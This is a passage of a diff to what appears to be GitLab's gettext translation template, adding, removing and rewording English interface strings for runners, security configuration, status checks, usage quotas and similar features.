msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
